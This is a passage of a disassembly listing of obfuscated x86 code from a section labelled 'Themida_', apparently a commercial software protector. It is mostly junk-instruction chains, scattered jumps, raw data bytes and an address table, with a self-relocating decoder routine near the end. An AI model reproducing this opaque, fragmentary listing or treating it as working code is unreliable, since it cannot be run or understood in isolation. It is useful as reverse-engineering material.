		dd 4, 4247401h,	24048F5Eh, 4240483h, 5624148Bh,	0C681E689h
		dd 4, 0FFD156E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50A441:				; CODE XREF: Themida_:004FFB31j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_4FF0C1
; ---------------------------------------------------------------------------
		db 87h,	0DDh, 43h
		dd 0FF56D1E9h, 244401FFh, 1C8B5804h, 0E2895224h, 0FFB72DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50A465:				; CODE XREF: Themida_:00503E8Fj
		pop	ebp
		xor	esi, ebp
		xor	ebp, esi
		xor	esi, ebp
		push	eax
		push	esi
		pop	eax
		pop	esi
		jmp	loc_500AF6
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		jmp	loc_4FFD73
; ---------------------------------------------------------------------------
		dd 1358EB81h, 0CB0166B8h, 1358C381h, 30366B8h, 0CFE9595Bh
		dd 33FFFFD6h, 0C31240Ch, 240C3324h, 6624248Bh, 9C242CD3h
		dd 0FF4C10E9h, 0A66866FFh, 34896621h, 74FF6624h, 8B660224h
		dd 0C4812434h, 2, 24048F66h, 54E95666h,	81FFFFE9h, 4ECh
		dd 241C8900h, 0C3815B54h, 4, 4B951h, 0CB010000h, 0FFCF0DE9h
		dd 2EFC0FFh, 0E931F780h, 0FFFF6A1Dh, 5424248Bh,	5224048Fh
		dd 4BAh, 24540100h, 81595A04h, 4C1h, 728E900h, 0F8010000h
		dd 81243C8Bh, 4C4h, 48B95100h, 0C112012Dh, 76E907E1h, 0BEFFFF77h
		dd 65EF7565h, 8247429h,	0F7BE565Eh, 0E966B060h,	0FFFFE5C0h
		dd 0FEF28059h, 0E95AD028h, 0FFFFD974h, 0E92434FFh, 0FFFF84E1h
		dd 4BD55h, 0EF010000h, 83242C8Bh, 565104C4h, 667A6DBEh
		dd 24C6814Dh, 810C0D7Bh, 8C0A71C6h, 0C61EE9A6h,	0AFBFFFFFh
		dd 8126B733h, 0D0315EEFh, 81D7F726h, 2B62CCE7h,	0E9DFF73Ah
		dd 0FFFF80FFh
; ---------------------------------------------------------------------------


loc_50A59C:				; CODE XREF: Themida_:00503B95j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	esi
		push	ebp
		push	edi
		mov	edi, 696610E6h
		add	edi, 5DBC2AC4h
		not	edi
		jmp	loc_504FD0
; ---------------------------------------------------------------------------


loc_50A5C6:				; CODE XREF: Themida_:005018A4j
		add	ecx, 6802802h
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [edi+24h]
		push	ecx
		pop	dword ptr [edi+24h]
		pop	ecx


loc_50A5E7:				; CODE XREF: Themida_:005068B2j
		sub	esp, 4
		mov	[esp], ebp
		push	19E0h
		mov	[esp], edx
		jmp	loc_5015CF
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 63h
		dd 812C4350h, 0F7306EDh, 0E9D5F769h, 0FFFF567Dh
; ---------------------------------------------------------------------------


loc_50A610:				; CODE XREF: Themida_:00502680j
		jmp	loc_4FF0C1
; ---------------------------------------------------------------------------
		db 1, 0F3h, 81h
		dd 0A46BECC3h, 83E95E11h, 0AD00000Ch, 0EC81D831h, 4, 52243C89h
		dd 0E357C668h, 68515A29h, 26329B1h, 7D78E959h, 0C87FFFFh
		dd 0C4835C24h, 5F545704h, 4C781h, 8CE90000h, 0BF000002h
		dd 0D0CFEE7Ch, 0FFE13DE9h, 241C8BFFh, 4EC81h, 3E90000h
		dd 8BFFFF6Fh, 89572414h, 2ACD68E7h, 1C890000h, 4BB24h
		dd 0DF010000h, 4C7835Bh, 8B243C87h, 93E92424h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50A693:				; CODE XREF: Themida_:00502213j
		pop	edx
		shr	ebx, 7
		sub	ebx, 3A762B1Fh
		sub	ebx, 7DF41776h
		push	ecx
		jmp	loc_508087
; ---------------------------------------------------------------------------
		db 0E9h, 13h, 4Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50A6AE:				; CODE XREF: Themida_:0050449Cj
		not	ecx
		sub	ecx, 6669985Fh
		add	edx, 191A52FFh
		add	edx, 32476252h
		add	edx, ecx
		jmp	loc_505DC5
; ---------------------------------------------------------------------------
		db 1, 0F3h, 5Eh
		dd 31241C33h, 1C33241Ch, 0F9F75C24h, 29E468h, 0B88CE900h
		dd 2489FFFFh, 24048124h, 4, 6824048Fh, 0C52h, 340E9h, 241C8900h
		dd 6E01BE56h, 0F6816276h, 2C6D4463h, 8107E6C1h,	3C6744F6h
		dd 0C3BD5575h, 127DB64h, 0F6815DEEh, 0A084BB2Bh, 0E95EF389h
		dd 0FFFFF620h, 5C240C87h, 24048966h, 0FF498CE9h, 0C8B66FFh
		dd 12E95524h
		db 4Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50A73F:				; CODE XREF: Themida_:005030B0j
		popf
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 7Bh, 49h
		dd 515CFFFFh, 36D3BD55h, 31B92CACh, 1D353C9h, 242C8BE9h
		dd 4C481h, 0D2E90000h, 89FFFFC6h, 0E5C15EF5h, 46F58704h
		dd 0EE31F531h, 0E952F531h, 0FFFF7346h, 2795C381h, 87583A9Fh
		dd 248B241Ch, 4937E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50A78A:				; CODE XREF: Themida_:0050711Ej
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		xor	bh, cl
		mov	cx, [esp]
		add	esp, 2
		add	al, 68h
		sub	al, bh
		push	cx
		mov	cl, 68h
		sub	al, 9Ah
		sub	al, cl
		add	al, 9Ah
		pop	cx
		pop	ebx
		jmp	loc_505AFE
; ---------------------------------------------------------------------------
		dw 6866h
		dd 6866597Eh, 89661D67h, 81662424h, 22404h, 0FF6EF1E9h
		dd 242489FFh, 4240481h,	5B000000h, 4EC81h, 6BE90000h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50A7E3:				; CODE XREF: Themida_:00509921j
		add	eax, 2F5A665Ch
		not	eax
		xor	eax, 6BA622A6h
		jmp	loc_50283B
; ---------------------------------------------------------------------------


loc_50A7F4:				; CODE XREF: Themida_:00505EF1j
		shl	eax, 1
		xor	eax, 61B70EB2h
		push	ecx
		jmp	loc_50A87D
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 99h
		dd 0FF91CAE9h, 8BE42CFFh, 0C481241Ch, 4, 6C4E9h
		db 0
; ---------------------------------------------------------------------------


loc_50A819:				; CODE XREF: Themida_:004FFBE0j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	esi
		push	esp
		pop	esi
		sub	esp, 4
		jmp	loc_4FF7D4
; ---------------------------------------------------------------------------
		dw 8950h
		dd 405E0h, 74E90000h, 5BFFFF61h, 0FFEEC0E9h, 42E953FFh
		dd 8FFFFFF5h, 895C2404h, 6EE9240Ch, 0B4FFFF48h,	83CCFE02h
		dd 896602ECh, 0E2882414h, 0E953D2F6h, 0FFFFDD1Ch, 0E924148Bh
		dd 0FFFF778Fh, 0C681E689h, 4, 0FF82C0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50A87D:				; CODE XREF: Themida_:0050A7FCj
		push	esi
		mov	esi, 0BF872684h
		mov	ecx, esi
		pop	esi
		xor	eax, ecx
		pop	ecx
		push	eax
		sub	dword ptr [esp], 486049ABh
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, 48DF0BF6h
		neg	esi
		and	esi, 45C40E30h
		add	esi, 436045ABh
		add	ebp, esi
		pop	esi
		pop	eax
		jmp	loc_5082B5
; ---------------------------------------------------------------------------


loc_50A8B4:				; CODE XREF: Themida_:005017D6j
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_50876A
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 1B812692h, 0BB68F201h, 8900005Eh, 0D7E92404h, 50FFFF6Bh
		dd 0FFD178E9h, 87DDF7FFh, 9FFAE9CDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50A8F2:				; CODE XREF: Themida_:00502426j
		add	ebx, ebp
		pop	ebp
		jmp	loc_5024AA
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFFB163h, 5CFF181h, 0C18124F3h, 418454D8h,	2C1E952h
		dd 0E9500000h, 0FFFF676Bh
; ---------------------------------------------------------------------------


loc_50A918:				; CODE XREF: Themida_:00504220j
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_50ABE4
; ---------------------------------------------------------------------------
		db 81h
		dd 4CACF3F2h, 5AD6210Ch, 6F7CBD55h, 0AEE971D6h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50A937:				; CODE XREF: Themida_:00503813j
		push	dword ptr [esp]
		jmp	loc_501FC8
; ---------------------------------------------------------------------------
		db 53h
		dd 241C8B54h, 0FFF99EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50A949:				; CODE XREF: Themida_:00508433j
		shl	edx, 1
		push	eax
		push	ebp
		push	4CEA02A8h
		pop	ebp
		dec	ebp
		add	ebp, 1BD87281h
		add	ebp, 0FDA6E154h
		jmp	loc_502135
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 4C28100h, 52000000h, 42474FFh,	0FF7FCAE9h, 55D831FFh
		dd 8904EC83h, 0BF68243Ch, 5F55C008h, 0FFD26FE9h, 80C6FEFFh
		dd 0EE80CEF6h, 8BF030F5h, 0C4812414h, 4, 6E685366h, 8900000Ch
		dd 0EC832414h, 24048904h, 9E0460B0h, 0FFC270E9h, 720CBAFFh
		dd 81422F7Ah, 858DF7C2h, 5AD101D0h, 5C240C87h, 0FF58BDE9h
		dd 4C281FFh, 81000000h,	4C2h, 74FF5200h, 8F5A0424h, 0FF5C2404h
		dd 57582434h, 7CE9E789h, 59FFFFB0h, 0E97E2C5Ah,	0FFFFCCA8h
		dd 24148B66h, 2802C483h, 0B3535BD8h, 66E38086h,	0E9C1EB80h
		dd 0FFFF8923h, 4C281h, 0C2830000h, 24148704h, 0FF7574E9h
		dd 8BDF89FFh, 0C481241Ch, 4, 8E9h, 241C8900h, 0FF9AAEE9h
		dd 0E9FA01FFh, 445h, 80B6B450h,	8852C1C4h, 5AD388E2h, 4EC8158h
		dd 89000000h, 67B62414h, 0FFF1C4E9h, 1C77FFFFh,	1058669Dh
		dd 0E99C2404h, 0FFFF464Dh, 5C240C87h, 4C481h, 80E90000h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50AA83:				; CODE XREF: Themida_:0050AE44j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_504D95
; ---------------------------------------------------------------------------
		dd 0CF719B68h, 242C8B4Ah, 0D69EE953h, 0F181FFFFh, 497365FCh
		dd 16CCC781h, 0CF292449h, 16CCEF81h, 4F592449h,	303AC781h
		dd 0F8312D49h, 0FF6833E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50AABD:				; CODE XREF: Themida_:0050411Cj
		mov	ebp, 1EAB746Eh
		xor	[esp+4], ebp
		mov	ebp, [esp]
		jmp	loc_502716
; ---------------------------------------------------------------------------


loc_50AACE:				; CODE XREF: Themida_:0050A13Aj
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_504406
; ---------------------------------------------------------------------------


loc_50AAF5:				; CODE XREF: Themida_:00509B4Fj
		add	edx, eax
		mov	ecx, [edx]
		jmp	loc_500E94
; ---------------------------------------------------------------------------
		dw 0D709h
		dd 8324148Bh, 0F78104C4h, 0EDDBE239h, 0FFFA09E9h, 8BCA01FFh
		dd 0C481240Ch, 4, 2159EA81h, 9AE97CC1h,	55FFFF45h, 36205ABDh
		dd 5BBCB824h, 0A2E9359Eh, 89FFFF86h, 87B4E9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50AB3E:				; CODE XREF: Themida_:00505F15j
		add	esi, 4
		add	esi, 4
		jmp	loc_500C8E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4C28300h, 2474FF52h, 48F5A04h,	63AAE924h, 0C381FFFFh
		dd 2D98367Fh, 739EF381h, 0DE310BA7h, 17EB815Bh,	1520A65h
		dd 0DBC9E9F3h, 815EFFFFh, 8D7C7DE5h, 7F00E970h,	0DD01FFFFh
		dd 57241C8Bh, 0AAE95F54h, 83FFFFD8h, 0E9042404h, 0FFFFE7BDh
		dd 5C241433h, 0EC83C80Fh, 241C8904h, 5404EC83h,	8124048Fh
		dd 42404h, 1C8B0000h, 4C48324h,	0FFBA4FE9h, 2FB5BDFFh
		dd 0D3E907EDh, 0BAFFFFEEh, 212A6C37h, 457FF281h, 0E94A5544h
		dd 0FFFF554Bh
; ---------------------------------------------------------------------------


loc_50ABE4:				; CODE XREF: Themida_:0050A91Ej
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 788B7866h
		push	ebx
		jmp	loc_4FF1DB
; ---------------------------------------------------------------------------


loc_50ABF8:				; CODE XREF: Themida_:00501875j
		sub	ecx, 4
		jmp	loc_5072F3
; ---------------------------------------------------------------------------
		dd 24048B66h, 7A0E68h, 241C8900h, 4EC81h, 94E90000h, 1FFFF49h
		dd 0E9EE81FEh, 5F0D8768h, 8B243487h, 0F662424h,	6866C8B6h
		dd 89660DF5h, 8AE9240Ch, 5BFFFF44h, 86B753h, 8D6AE9F9h
		dd 0E981FFFFh, 4, 0E9240C33h, 0FFFF99E7h, 42474FFh, 0FF4B75E9h
		dd 24048BFFh, 4C481h, 57550000h, 5A36F0BFh, 0E781477Eh
		dd 5BC732BAh, 0D2F7D787h, 5A5F5257h, 8102EFC1h,	0AF7DB7CFh
		dd 4EC8372h, 0B9240C89h, 85C6E3F7h, 0FF6140E9h,	1C8B54FFh
		dd 4C48124h, 0E9000000h, 0FFFF8A2Dh, 4C281h, 10E90000h
		dd 66FFFFE1h, 83240C8Bh, 1C8904ECh, 446824h, 0C7E90000h
		dd 68FFFF5Fh, 0A9Dh, 83243489h,	148904ECh, 0EEACE924h
		dd 5255FFFFh, 0FF795AE9h, 61B52DFFh, 0BD551D69h, 6C886800h
		dd 6CE9E801h, 5AFFFFB1h, 0FF670EE9h, 0E1C981FFh, 51403D5Dh
		dd 0F7242C87h, 242C31D5h, 0FF8AA5E9h, 241433FFh, 0FF9B4EE9h
		dd 56DBF7FFh, 6453BF57h, 0DFF731E5h, 8275BD55h,	0EF814AD0h
		dd 753D7F33h, 0FFE9EF01h, 89FFFF61h, 405E0h, 0C0830000h
		dd 82EDE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50AD3A:				; CODE XREF: Themida_:00505CEFj
		push	edi
		jmp	loc_50228F
; ---------------------------------------------------------------------------
		dd 8324048Bh, 0E95104C4h, 0FFFFD47Fh, 22168h, 7443E900h
		dd 77FFFFFFh, 58669D1Ch, 9C240418h, 0FF435CE9h,	4C181FFh
		dd 81000000h, 4C1h, 240C8700h, 0F7EB815Ch, 0E945330Dh
		dd 0FFFFCE0Ah, 3D38C981h, 0F1816AA9h, 1A9C7CD4h, 0FFFD09E9h
		dd 0C4CE81FFh, 522F193Ah, 0FFDFF2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50AD9D:				; CODE XREF: Themida_:00501EA4j
		and	eax, edi
		jmp	loc_502C06
; ---------------------------------------------------------------------------


loc_50ADA4:				; CODE XREF: Themida_:00508DDCj
		pop	edi
		add	ebp, 13D01660h
		and	eax, ebp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_502FA1
; ---------------------------------------------------------------------------


loc_50ADC2:				; CODE XREF: Themida_:005088EDj
		mov	[esp], eax
		push	edx
		pop	eax
		mov	ebp, eax
		jmp	loc_50B041
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 0FFFF833Bh, 0DFF670B7h, 0DFF6DFF6h, 2012C780h, 0EC805BFCh
		dd 58E288E6h, 0EC81CAFEh, 2, 24148966h,	0FFE3FDE9h, 1BE95BFFh
		dd 8BFFFF51h, 3DE9240Ch, 83FFFFB4h, 896602ECh, 0C1E92414h
		dd 59FFFF88h, 81242C8Bh, 4C4h, 0F459E900h, 5651FFFFh, 383F49BEh
		dd 5EF1893Eh, 0E1C1D9F7h, 8755E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50AE36:				; CODE XREF: Themida_:00500A20j
		add	eax, 4
		push	edx
		mov	edx, 4
		sub	eax, edx
		pop	edx
		jmp	loc_50AA83
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 1Eh
		dd 5569F11Bh, 0FFE68FE9h, 25E952FFh, 89FFFF64h,	15B82404h
		dd 4078E804h, 0C8C5DC2Dh, 58C32915h, 531AE958h,	815AFFFFh
		dd 4C2h, 0BB535100h, 7F636819h,	0FFD594E9h, 2434FFFFh
		dd 0FFCC05E9h, 2434FFFFh
		db 5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_501D97
; ---------------------------------------------------------------------------
		db 89h
		dd 5FB0E9E6h, 2C8BFFFFh, 4C48324h, 8102E6C1h, 101542CEh
		dd 0E9554E4Dh, 0FFFF7617h, 3E0DB8BBh, 0B5E2D3Fh, 32E95556h
		dd 5FFFFFCBh, 0FFE5F1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50AED1:				; CODE XREF: Themida_:00502541j
		pop	edi
		push	edi
		mov	edi, 2EB62DB4h
		jmp	loc_4FFDAF
; ---------------------------------------------------------------------------
		db 53h,	0B7h, 5Ch
		dd 5007EFC0h, 0FFEF44E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50AEE9:				; CODE XREF: Themida_:004FF7FDj
		sub	ebp, 63402FA6h
		pop	esi
		xchg	ebp, [esp]
		jmp	loc_4FFF98
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		sub	ebp, edx
		jmp	loc_509278
; ---------------------------------------------------------------------------


loc_50AF11:				; CODE XREF: Themida_:00506549j
		mov	eax, 5F450851h
		xor	edi, eax
		pop	eax
		push	eax
		mov	eax, 0C4F8E7BEh
		jmp	loc_502313
; ---------------------------------------------------------------------------
		dd 54240C89h, 83240C8Bh, 15E904C4h
		db 71h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50AF33:				; CODE XREF: Themida_:00503022j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	66A7h
		mov	[esp], esi
		jmp	loc_500914
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5F042474h, 5C24048Fh, 24048B66h, 7BA368h, 24048900h
		dd 0FFD3E7E9h, 0BE0F66FFh, 585450C8h, 0FFA6F3E9h, 2837BAFFh
		dd 59E933E2h, 66FFFF51h, 8BBF6657h, 0DD09E913h,	32E9FFFFh
		dd 52FFFF41h, 4D78E2BAh, 0E9DAF71Ah, 0FFFF4EEEh, 98ACE941h
		dd 2C33FFFFh, 24248B24h, 5024048Bh, 0FFE964E9h,	0EC815AFFh
		dd 4, 0E9243489h, 0FFFFFC90h, 53555B54h, 0CD0BAEBBh, 0BAABD36h
		dd 0DD3136CDh, 83241C8Bh, 0B95104C4h, 77684791h, 548FC981h
		dd 0E9817FDDh, 267301Fh, 8105E1C1h, 1367A1C1h, 0E9CB014Eh
		dd 0FFFFC4FCh, 0E906E9C1h, 0FFFF5B44h, 8324348Bh, 143304C4h
		dd 24143124h, 5C241433h, 592434FFh, 59CF68h, 243C8900h
		dd 0FFB8E7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50B021:				; CODE XREF: Themida_:00501792j
		pop	eax
		push	4E40h
		mov	[esp], ecx
		mov	ecx, 53C85AA5h
		push	edi
		mov	edi, 63611BB9h
		dec	edi
		sub	edi, 1
		not	edi
		push	edx
		jmp	loc_500C3D
; ---------------------------------------------------------------------------


loc_50B041:				; CODE XREF: Themida_:0050ADC9j
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	edx, [esp]
		add	esp, 4
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_507A31
; ---------------------------------------------------------------------------
		dw 4EE9h
		dd 43FFFF40h, 8105EBC1h, 775899CBh, 77E95370h, 0C1FFFFE0h
		dd 0C68103EEh, 230341BFh, 4E06EEC1h, 0EA4DF681h, 2FE9D6A8h
		dd 5FFFFF5Eh, 7B52E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50B0A2:				; CODE XREF: Themida_:00509C52j
		mov	[esp], edi
		jmp	loc_5031FC
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0FB4EE924h, 48FFFFFh, 24048324h, 241C8B04h, 4F25E955h
		dd 535CFFFFh, 0FF515AE9h, 240431FFh, 8B240433h,	3C892424h
		dd 3AB95124h, 816E6846h, 9EE67BE9h, 0CC685263h,	0FF3AFF1Ah
		dd 815A2434h, 4C4h, 85C28100h, 0E968F64Fh, 0FFFF6E71h
		dd 76A7E981h, 815B25F6h, 4C1h, 0D3D2E900h, 30B3FFFFh, 0C8E9DE28h
		dd 0B9FFFF92h, 646E7229h, 0C981D1F7h, 37EB465Eh, 558FE181h
		dd 0E1813128h, 5133260Fh, 0BE98141h, 0E9112004h, 0FFFFB381h
		dd 0B050C5FEh, 446866DCh, 14896672h, 887B224h, 0DB62E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50B152:				; CODE XREF: Themida_:0050985Dj
		sub	ebx, 15F73E80h
		jmp	loc_509D2F
; ---------------------------------------------------------------------------
		db 29h,	5Ch, 24h
		dd 246C8104h, 0B060F704h, 24448166h, 0EF756504h, 24448165h
		dd 3B2AE604h, 2444814Dh, 906EA504h, 241C8B19h, 5804C483h
		dd 773BBA52h, 0D0010B44h, 0FFD35CE9h, 9A6866FFh, 1C89661Bh
		dd 0E9A5B324h, 0FFFF550Fh, 5C241487h, 0FF6BBFE9h, 2C481FFh
		dd 0E9000000h, 0FFFFE2D3h, 84D7C181h, 0EB81F17Dh, 52C004A4h
		dd 0C381CB01h, 52C004A4h, 0FFEFB6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50B1D1:				; CODE XREF: Themida_:00505C0Aj
		mov	[esp], esi
		push	edi
		push	10D1389Fh
		pop	edi
		mov	esi, 10D138A0h
		push	29F5h
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 4
		add	ecx, 42D632BFh
		add	ecx, eax
		sub	ecx, 42D632BFh
		jmp	loc_502EE0
; ---------------------------------------------------------------------------
		db 81h
		dd 0B82C83E7h, 0AAF7815Ah, 31BD94A8h, 0C5015FF8h, 0FFAF8EE9h
		dd 58C289FFh, 0FFCFF2E9h, 9C5166FFh, 0FF3E98E9h, 3AC681FFh
		dd 103B73Bh, 3AEE81D6h,	8B03B73Bh, 89512414h, 4C181E1h
		dd 81000000h, 4C1h, 240C8700h, 3324248Bh, 34312434h, 24343324h
		dd 0F624248Bh, 0B60F66E1h, 0AFCEE9CCh, 0FF57FFFFh, 5F042474h
		dd 0FFA9EDE9h, 0E9F800FFh, 0FFFFBBCAh, 8953E089h, 4C381E3h
		dd 83000000h, 1C8704EBh, 34895C24h, 4B7EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50B292:				; CODE XREF: Themida_:004FF739j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		jmp	loc_5045AB
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 7D3F3662h, 99E9C301h, 80FFFF8Dh, 0EC805BECh,	0B124E901h
		dd 51C4FFFFh, 0A7F00056h, 0EE90056h, 0
		dd 0EDF70000h, 750EFFFFh, 9E50FA48h, 213FFFFh, 20000h
		dd 10000h, 60000h, 750E0000h, 0FA48h, 4	dup(0)
		dd 0A7920000h, 88110051h, 0BBC60051h, 83850050h, 2FC50051h
		dd 0C5330051h, 608A0050h, 0F5770051h, 7A310051h, 0F46F0051h
		dd 0DB140050h, 0F8B30050h, 583F0050h, 26A10051h, 81D60051h
		dd 0FE7B0051h, 0F7060050h, 0CC0B0050h, 0D59B0051h, 10AD0050h
		dd 0E000051h, 0BF350052h, 0E6120050h, 1B5F0050h, 0DEA80051h
		dd 94A90050h, 8A660051h, 3F680051h, 7150051h, 0F4420051h
		dd 0CF610051h, 0C9C20050h, 0F1DB0051h, 1C2A0050h, 0B8BC0051h
		dd 319E0051h, 0D32C0051h, 4190051h, 11EE0051h, 0CA670051h
		dd 0E7AE0050h, 0FCF50051h, 4F800051h, 9B940051h, 2C4F0051h
		dd 0A83B0051h, 0E2190051h, 58A0050h, 9D30052h, 26290052h
		dd 0D8BA0051h, 94A00051h, 30B20051h, 0AAEC0051h, 0BA9B0051h
		dd 0B5030051h, 4C6C0051h, 0CDDA0051h, 0E39F0051h, 9C80051h
		dd 6BAC0051h, 8BA0051h,	74F00051h, 0D9A30051h, 0B7F0051h
		dd 70750051h, 1310051h,	0AF030051h, 0E8800051h,	0C91C0051h
		dd 9DC20051h, 0EC1E0051h, 0E4E20051h, 0D5460050h, 0FC920051h
		dd 0D2600051h, 0EFFD0051h, 0D790050h, 0EB8D0051h, 0E1300051h
		dd 819E0050h, 72410051h, 0E9AD0051h, 2BB60050h,	0BE950051h
		dd 32170050h, 523E0051h, 0DCC20051h, 25300051h,	0F54A0051h
		dd 14500050h, 0B8A30051h, 0F40C0050h, 0F60A0050h, 0CDF10050h
		dd 49170051h, 190A0051h, 84340051h, 26540051h, 0F6BF0051h
		dd 0D5980051h, 5E640051h, 2EB80051h, 0C110051h,	679F0051h
		dd 0C4290051h, 9A5A0050h, 0CDC40051h, 107B0050h, 0D00D0052h
		dd 98590050h, 0D5E10051h, 341A0051h, 0C3B90051h, 0E6B50051h
		dd 0E1250050h, 0B00050h, 0D9890052h, 9AA60051h,	999C0051h
		dd 0C6740051h, 0F3220050h, 0C59D0050h, 9A490051h, 0D8670051h
		dd 0E4570050h, 29F00050h, 39910051h, 68B30051h,	0D7770051h
		dd 97990050h, 0A06C0051h, 0F0400051h, 7EC10051h, 0F88A0051h
		dd 37F70051h, 0CE6F0051h, 0D2B10051h, 15810050h, 934F0051h
		dd 0CE420051h, 40FA0051h, 0AFA10051h, 35240051h, 40F0051h
		dd 0EE590052h, 1CE60051h, 0C45C0051h, 0DC9E0050h, 74F90051h
		dd 0BED70051h, 95DB0051h, 0D7170051h, 274B0051h, 85360051h
		dd 0C6130051h, 0D0B40050h, 8C760050h, 0D2E20051h, 0CFB40051h
		dd 0CF250051h, 0B18A0050h, 227D0051h, 49DB0051h, 0E3680051h
		dd 4C450050h, 30800051h
		db 51h,	0
; ---------------------------------------------------------------------------


loc_50B59E:				; CODE XREF: Themida_:00553C64j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6084098h
		mov	eax, edi
		add	edi, 6083DB0h
		cmp	eax, [edi+2Ch]
		jnz	short loc_50B5BC
		jmp	short loc_50B5CF
; ---------------------------------------------------------------------------


loc_50B5BC:				; CODE XREF: Themida_:0050B5B8j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_50B5CB
; ---------------------------------------------------------------------------


loc_50B5C6:				; CODE XREF: Themida_:0050B5CDj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_50B5CB:				; CODE XREF: Themida_:0050B5C4j
		or	ecx, ecx
		jnz	short loc_50B5C6


loc_50B5CF:				; CODE XREF: Themida_:0050B5BAj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_50B5DC:				; CODE XREF: Themida_:0050B5E3j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_50B5DC


loc_50B5E5:				; CODE XREF: Themida_:0050CAB1j
					; Themida_:0050CD96j ...
		lodsb
		push	ebx
		mov	bh, 9
		push	ecx
		mov	ch, 66h
		xor	ch, 0BDh
		sub	al, ch
		mov	ecx, [esp]
		add	esp, 4
		add	al, 9
		sub	al, bh
		jmp	loc_50E17D
; ---------------------------------------------------------------------------


loc_50B600:				; CODE XREF: Themida_:0051AB7Cj
		add	eax, ebx
		pop	ebx
		jmp	loc_5108DA
; ---------------------------------------------------------------------------
		dd 504C483h, 4,	0E9240487h, 977Dh, 0D0F6352Ch, 0D2E9E834h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50B623:				; CODE XREF: Themida_:0051C302j
		sub	ebx, ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 13BD70C5h
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		pop	ecx
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_512724
; ---------------------------------------------------------------------------


loc_50B650:				; CODE XREF: Themida_:00512F82j
		add	edi, eax
		jmp	loc_517505
; ---------------------------------------------------------------------------


